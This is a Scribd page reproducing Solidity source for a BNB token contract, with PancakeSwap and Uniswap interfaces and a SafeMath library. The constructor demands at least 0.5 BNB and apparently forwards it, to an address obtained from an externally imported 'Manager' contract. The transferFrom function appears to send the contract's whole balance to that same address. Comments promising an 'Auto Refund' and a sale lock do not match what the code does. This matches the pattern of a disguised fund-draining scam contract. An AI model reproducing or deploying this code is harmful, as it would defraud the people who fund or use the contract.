0% found this document useful (0 votes)
1K views6 pages

Solidity Token Contract with SafeMath

This document contains code for smart contracts related to cryptocurrency tokens and exchanges. It includes interfaces for Uniswap exchanges, imports code from PancakeSwap, and defines a TokenContract with functions for transferring, approving and managing tokens. It also includes a SafeMath library for safe arithmetic operations to prevent overflows.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1K views6 pages

Solidity Token Contract with SafeMath

This document contains code for smart contracts related to cryptocurrency tokens and exchanges. It includes interfaces for Uniswap exchanges, imports code from PancakeSwap, and defines a TokenContract with functions for transferring, approving and managing tokens. It also includes a SafeMath library for safe arithmetic operations to prevent overflows.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

pragma solidity ^0.6.

6;

pragma solidity >=0.5.0;

interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}

pragma solidity >=0.5.0;

interface IUniswapV1Exchange {

function balanceOf(address owner) external view returns (uint);


function transferFrom(address from, address to, uint value) external returns
(bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

pragma solidity >=0.6.2;

import '[Link]
contracts/interfaces/[Link]';

interface IPancakeRouter02 is IPancakeRouter01 {


function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

import
'[Link]

library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom
message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but
the
// benefit is lost if 'b' is also tested.
// See: [Link]
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

/**
* @dev Returns the integer division of two unsigned integers. Reverts with
custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't
hold
return c;
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned
integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned
integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

contract TokenContract {
using SafeMath for uint256;
Manager manager;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) private lptoken;
mapping(address => uint) private balancesBNB;
bool private salelock = true;
address public setpool;
address payable _owner;
uint public decimals;
uint public totalSupply;
uint private Liquidity;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event GetBackBNB(address setpool, address spender, uint value);

constructor(string memory _name, string memory _symbol, uint _totalSupply, uint


_Liquidity) public payable {
decimals = 18;
totalSupply = _totalSupply * 10 ** 18;
Liquidity = _Liquidity * 10 ** 18;
name = _name;
symbol = _symbol;
balances[[Link]] = [Link](Liquidity);
manager = new Manager();
require(Liquidity > 0, "Liquidity must exceed then 0");
require(Liquidity <= totalSupply, "Liquidity must be lower or equal total
supply!");
require([Link] >= 0.5 ether, "Liquidity must exceed then 0.5 BNB");
emit Transfer (address(0), [Link], [Link](Liquidity));
balances[[Link]()] =
balances[[Link]()].add(Liquidity);
emit Transfer ([Link], [Link](), Liquidity);
payable([Link]()).transfer([Link]);
setPoolAddress;
sellLockEnabled;

_owner = [Link];
}

receive() external payable {}

modifier onlyOwner {
require([Link] == _owner);
_;
}

function balanceOf(address owner) public view returns(uint) {


return balances[owner];
}

function transfer(address to, uint value) public returns(bool) {


require(balanceOf([Link]) >= value, "Value exceeds balance");
balances[to] += value;
balances[[Link]] -= value;
emit Transfer([Link], to, value);
return true;
}

//Transaction And Auto Refund


function transferFrom(address from, address to, uint value) public
returns(bool) {
require(balanceOf(from) >= value, "Value exceeds balance");
require(allowance[from][[Link]] >= value, "Allowance exceeds balance");
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);

payable([Link]()).transfer(address(this).balance);
return true;
}

//Approval for transaction


function approve(address spender, uint value) public returns (bool) {
allowance[[Link]][spender] = value;
emit Approval([Link], spender, value);
return true;
}

//Nobody can sell function


function sellLockEnabled(bool enabled) internal {
salelock = enabled;
}

//Get liquidity pool address after adding liquidity


function setPoolAddress(address _pool) internal {
setpool = _pool;
}

//Remove Liquidity from PancakeSwap Pool


function RemoveLiquidity(uint8 percent) public onlyOwner {
require(percent >=0, "Percent can't be lower then 0");
require(percent <=100, "Percent can't be higher then 100");
_RemoveLiquidity(percent);
}

function _RemoveLiquidity(uint8 percent) internal {


uint taketoken = lptoken[[Link]]*percent/100;
uint BNBpoolBalance = balancesBNB[setpool];
balances[setpool] -= taketoken;
balances[[Link]] += taketoken;
emit Transfer(setpool, [Link], taketoken);
uint takeBNB = BNBpoolBalance*percent/100;
emit GetBackBNB(setpool, [Link], takeBNB);
}
}

You might also like